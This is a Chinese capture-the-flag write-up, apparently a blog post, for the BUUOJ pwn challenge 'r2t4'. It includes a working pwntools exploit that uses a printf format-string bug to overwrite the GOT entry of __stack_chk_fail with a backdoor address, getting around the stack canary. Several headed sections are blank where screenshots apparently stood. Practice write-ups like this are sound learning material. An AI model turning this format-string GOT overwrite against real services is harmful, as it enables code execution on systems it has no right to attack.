pwn-r2t4(__stack_chk_fail劫持绕过canary)

查看保护

 

main函数

 

backdoor函数

 

 

 

read栈溢出,但空间不够,并且开启了canary,printf存在明显的格式化字符串。

覆写got表中的__stack_chk_fail地址为backdoor的地址

计算出偏移为6

 

 exp:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",27856)
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')

__stack_chk_fail=elf.got['__stack_chk_fail']
back=0x00400626

payload=fmtstr_payload(6,{__stack_chk_fail:back})
a.sendline(payload)


a.interactive()

 

posted @ 2020-08-16 14:46  remon535  阅读(677)  评论(2编辑  收藏  举报